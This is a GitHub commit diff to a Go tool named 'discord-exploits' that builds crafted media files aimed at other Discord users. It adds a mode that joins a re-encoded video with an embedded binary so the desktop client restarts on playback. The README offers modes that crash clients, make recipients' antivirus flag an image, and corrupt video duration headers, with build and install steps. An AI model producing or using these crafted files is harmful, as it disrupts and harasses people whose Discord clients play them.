This commit is contained in:
CHUNGUS ENJOYER 2021-05-19 00:37:03 -07:00 committed by GitHub
commit ed4d9ca1f3
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
12 changed files with 123 additions and 73 deletions

2
.gitignore vendored
View file

@ -38,3 +38,5 @@ discord-exploits-linux-64bit
*.m4a
*.mp3
.idea

View file

@ -5,11 +5,12 @@
![Made with](https://img.shields.io/badge/made%20with-Go-29BEB0?style=flat-square)
# Discord-Exploits
A program for creating exploited media files for discord written in Go.
A program for creating exploited media files for Discord written in Go.
# [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM)
##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ)
If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ)
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
@ -17,67 +18,52 @@ DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TER
IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
### Getting Help
## Getting Started
`discord-exploits -h` will show you what commands can be used and what you have to do
### Creating an Expanding Video file
## Usage
`discord-exploits -m <mode> -i <input file> [-q]`
the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end
| Mode | Description |
| :------------ | :------------ |
| `c` | Create a file that will crash most Discord desktop clients when played to the end |
| `r` | Create a file that will instantly restart most Discord desktop clients when played to the end |
| `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) |
| `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) |
| `n` | Create a video with negative duration |
| `0` or `z` | Create a video with a removed duration header (0 second video) |
| `t` | Create a file that will play a different audio when it is replayed (still experimental) |
the mode `v` stands for virus image
the mode `e` stands for expanding video duration
the mode `n` stands for negative video duration
the mode `0` or `z` stands for video with 0s duration
the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental)
The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t)
The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`)
##### The file will be saved with a random file name in the directory in which you ran the command
##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters)
##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file
## Installation
### Via releases
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with:
###### availabe systems are:
`windows-64-bit
windows-32-bit`
`windows-64-bit windows-32-bit`
`linux-64-bit
linux-32-bit`
`linux-64-bit linux-32-bit` (untested on linux)
##### The Program was not yet tested on linux
### Compile from source
make sure you have [Go](https://golang.org) installed and in your path
### Compiling it yourself
###### make sure you have [Go](https://golang.org) installed and in your path
1. Clone this repository
`git clone https://github.com/Schmenn/discord-exploits`
###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip
2. Go into the folder
`cd discord-exploits`
3. Build it
`go build`
###### the executable will have the name `discord-exploits`
1. Clone this repository: `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip)
2. Go into the folder: `cd discord-exploits`
3. Build it: `go build`
## Features
### Current Features
* Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer
* Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
@ -87,12 +73,14 @@ linux-32-bit`
* Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
* Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
### Disclaimer
## Disclaimer
The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
### Upcoming Features are:
not yet decided.
## Upcoming Features
None yet

View file

@ -5,8 +5,8 @@ import (
"github.com/Schmenn/discord-exploits/exploits"
"github.com/Schmenn/discord-exploits/modules"
"os"
"strings"
"path/filepath"
"strings"
)
var (
@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
fmt.Println("completed task.")
os.Remove(out)
case "r":
fmt.Println("transcoding video from webm to mp4")
out := modules.Transcode(inputFile, "mp4")
fmt.Println("finished transcoding video from webm to mp4")
fmt.Println("editing video.")
exploits.RunRestartVideoTask(out)
fmt.Println("completed task.")
os.Remove(out)
default:
fmt.Println("the mode doesn't match the file")
}
@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
exploits.RunCrashVideoTask(inputFile)
fmt.Println("completed task.")
case "r":
fmt.Println("editing video.")
exploits.RunRestartVideoTask(inputFile)
fmt.Println("completed task.")
default:
fmt.Println("the mode doesn't match the file")
}

View file

@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) {
return
}
data[index+3] = 63
data[index+4] = 240
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+3] = 63
data[index+4] = 240
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")

View file

@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) {
return
}
data[index+3] = 66
data[index+4] = 255
data[index+5] = 176
data[index+6] = 96
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+3] = 66
data[index+4] = 255
data[index+5] = 176
data[index+6] = 96
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")

45
exploits/restart-video.go Normal file
View file

@ -0,0 +1,45 @@
package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"time"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed restart.bin
var restartBin []byte
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
func RunRestartVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
// prevent duplicate id
time.Sleep(time.Millisecond * 1)
reencode := modules.CreateName("mp4")
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
err := cmd.Run()
modules.Check(err)
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, restartBin, 0777)
modules.Check(err)
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
err = os.Remove(reencode)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}

BIN
exploits/restart.bin Normal file

Binary file not shown.

View file

@ -12,7 +12,7 @@ var (
vpng1 []byte
//go:embed virus2.txt
vpng2 []byte
vpng = append(vpng1, vpng2...)
vpng = append(vpng1, vpng2...)
)
// RunVirusImageTask edits file

View file

@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) {
return
}
data[index+3] = 0
data[index+4] = 0
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+3] = 0
data[index+4] = 0
data[index+5] = 0
data[index+6] = 0
data[index+7] = 0
data[index+8] = 0
data[index+9] = 0
data[index+10] = 0
name := modules.CreateName("webm")
fmt.Println("Saved video to: "+name)
fmt.Println("Saved video to: " + name)
err = os.WriteFile(name, data, os.FileMode(0777))
if err != nil {

View file

@ -7,7 +7,7 @@ import (
)
// CheckForFFmpeg looks for ffmpeg in the path
func CheckForFFmpeg() (string) {
func CheckForFFmpeg() string {
path, err := exec.LookPath("ffmpeg")
if err != nil {

View file

@ -19,6 +19,7 @@ func Help(progName string) {
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
fmt.Println(" image:")
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
fmt.Println(" audio:")